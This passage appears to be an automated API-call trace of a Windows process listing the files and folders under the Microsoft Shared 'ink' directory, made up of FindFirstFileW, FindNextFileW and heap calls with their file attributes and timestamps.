ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0071.049] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0071.049] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.049] GetProcessHeap () returned 0x550000 [0071.049] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.049] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0071.050] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0071.050] GetProcessHeap () returned 0x550000 [0071.050] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.051] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.051] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0071.052] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0071.052] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0071.052] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0071.052] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.053] GetProcessHeap () returned 0x550000 [0071.053] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.053] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0071.053] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0071.053] GetProcessHeap () returned 0x550000 [0071.053] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0071.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0071.056] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.056] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0071.056] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0071.057] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0071.057] GetProcessHeap () returned 0x550000 [0071.057] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0071.057] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0071.057] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0071.057] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.057] GetProcessHeap () returned 0x550000 [0071.058] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.058] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0071.058] GetProcessHeap () returned 0x550000 [0071.058] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842f0 [0071.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.060] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.060] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0071.061] GetProcessHeap () returned 0x550000 [0071.061] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.061] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0071.061] GetProcessHeap () returned 0x550000 [0071.061] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.453] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.453] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.453] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.453] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.453] GetProcessHeap () returned 0x550000 [0071.454] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.454] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0071.454] GetProcessHeap () returned 0x550000 [0071.454] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.454] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.454] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.455] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.455] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.455] GetProcessHeap () returned 0x550000 [0071.455] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.455] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0071.455] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0071.456] GetProcessHeap () returned 0x550000 [0071.456] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0071.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.457] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.457] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0071.458] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.458] GetProcessHeap () returned 0x550000 [0071.458] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0071.458] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0071.458] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0071.459] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0071.459] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, 